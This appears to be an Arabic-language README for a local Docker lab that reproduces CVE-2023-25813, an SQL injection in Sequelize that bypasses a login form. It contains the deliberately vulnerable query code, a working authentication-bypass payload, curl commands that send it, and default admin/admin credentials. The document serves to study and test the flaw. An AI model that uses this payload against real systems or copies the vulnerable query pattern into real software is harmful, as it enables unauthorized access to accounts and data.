
تنفيذ ثغرة حقن SQL في Sequelize
هذا تطبيق عملي باستخدام Express + MySQL للتحقق من سلوك CVE-2023-25813 في Sequelize محليًا.
يحتفظ هذا المشروع عمدًا بإصدار Sequelize ضعيف ونمط استعلام تسجيل دخول ضعيف. لا تعرضه للإنترنت، وقم بتشغيله فقط في بيئة Docker المحلية للاختبار العملي.
localhost:3307localhost:3000الميزات الرئيسية:
يستخدم ملف .env. راجع .env.example للحصول على مثال.
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
عند التشغيل في Docker، يستخدم حاوية التطبيق خدمة db داخل Compose، وليس MySQL المحلي.
بالنسبة لحاوية التطبيق: DB_HOST=db
بالنسبة للجهاز المضيف: منفذ اتصال قاعدة البيانات = 3307
بعد تشغيل Docker Desktop، قم بالتشغيل في PowerShell.
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
افتح في المتصفح.
http://localhost:3000
التحقق من الحالة:
docker compose ps
docker compose logs app --tail 50
الإيقاف:
docker compose down
حذف بيانات قاعدة البيانات أيضًا:
docker compose down -v
للاتصال المباشر بـ MySQL داخل Docker:
docker compose exec db mysql -uroot -p cve_test_db
كلمة المرور هي قيمة DB_PASSWORD في ملف .env.
في أدوات GUI مثل Workbench، استخدم القيم التالية للاتصال.
Host: 127.0.0.1
Port: 3307
User: root
Password: كلمة مرور DB_PASSWORD من .env
Database: cve_test_db
إذا تم إنشاء قاعدة البيانات، ستظهر هذه الرسائل في سجل التطبيق.
قاعدة البيانات cve_test_db جاهزة
حساب المسؤول admin جاهز
اتصال قاعدة البيانات ناجح
الاستماع على المنفذ 3000
عند بدء التطبيق، يتم إنشاء حساب admin تلقائيًا باستخدام قيم .env.
القيم الافتراضية:
اسم المستخدم: admin
كلمة المرور: admin
بعد تسجيل الدخول، يظهر الحساب الحالي في أعلى الصفحة الرئيسية.
الحساب الحالي: admin
انتقل إلى /login في المتصفح، ثم:
اسم المستخدم: admin
كلمة المرور: admin
عند النجاح، يتم التوجيه إلى / وتظهر معلومات الحساب الحالي في الصفحة الرئيسية.
للتحقق باستخدام curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
معيار النجاح:
HTTP/1.1 302 Found
Location: /
انتقل إلى /login في المتصفح، ثم أدخل القيم التالية.
اسم المستخدم: /**/OR/**/1=1)/**/#
كلمة المرور: :username
عند النجاح، لن يتم التوجيه إلى /login?error=invalid بل إلى /. سيكون الحساب الحالي في الصفحة الرئيسية هو حساب المستخدم الذي تم تسجيل الدخول به.
التحقق باستخدام curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
معيار النجاح:
HTTP/1.1 302 Found
Location: /
الكود الضعيف موجود في مسار تسجيل الدخول.
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
في حالة تسجيل الدخول العادي، سيكون استعلام SQL تقريبًا بالشكل التالي.
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
المشكلة تكمن في استخدام literal('username = :username') و { password } و replacements معًا في نفس الاستعلام. في Sequelize 6.19.0، يتم تطبيق replacements على الاستعلام بأكمله، مما يسمح باستبدال :username حتى داخل قيمة password التي يدخلها المستخدم.
يتم إدخال حمولة الاختبار على النحو التالي.
username = /**/OR/**/1=1)/**/#
password = :username
في هذه الحالة، سيظهر الاستعلام الفعلي في السجل تقريبًا بالشكل التالي.
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
معنى كل جزء:
password=:username: هذا هو العنصر الأساسي الذي يتسبب في إعادة استبدال :username حتى في حقل كلمة المرور./**/: كتلة تعليق في MySQL. تعمل كمسافة، لذا تفصل رموز SQL حتى لو تم حذف المسافات حول OR.OR 1=1: يضيف شرطًا صحيحًا دائمًا.): يغلق مجموعة الشروط AND(...) التي أنشأها Sequelize.#: تعليق سطر واحد في MySQL. يعلق على علامات الاقتباس المتبقية وأجزاء LIMIT 1 المتبقية لتجنب أخطاء الصياغة.نتيجة لذلك، يصبح الشرط صحيحًا دائمًا، ويتم جلب أول صف مستخدم، ويعتبر التطبيق عملية تسجيل الدخول ناجحة.
إذا كانت الحمولة تعتمد على مسافات كما يلي، فقد تفشل بسبب إزالة المسافات الأمامية/الخلفية أثناء الإدخال في المتصفح.
OR 1=1) --
تعليق -- في MySQL يتطلب مسافة بعده. إذا تم حذف المسافة، فلن يتم التعرف عليه كتعليق وسيحدث خطأ في الصياغة.
في هذا المشروع، نوصي بالحمولة التالية.
اسم المستخدم: /**/OR/**/1=1)/**/#
كلمة المرور: :username
### عدم ظهور قاعدة البيانات في MySQL المحلي
عند التشغيل في Docker، يتم إنشاء قاعدة البيانات في حاوية `db` داخل Docker، وليس في خادم MySQL المحلي. لعرضها من الجهاز المضيف، اتصل بـ `localhost:3307`.
### ظهور تحذير npm audit
هذا طبيعي. يحتفظ هذا التطبيق بإصدار Sequelize ضعيف لاختبار CVE.
```text
[email protected]
إذا قمت بتشغيل npm audit fix، فقد تختفي الثغرة المستهدفة للاختبار.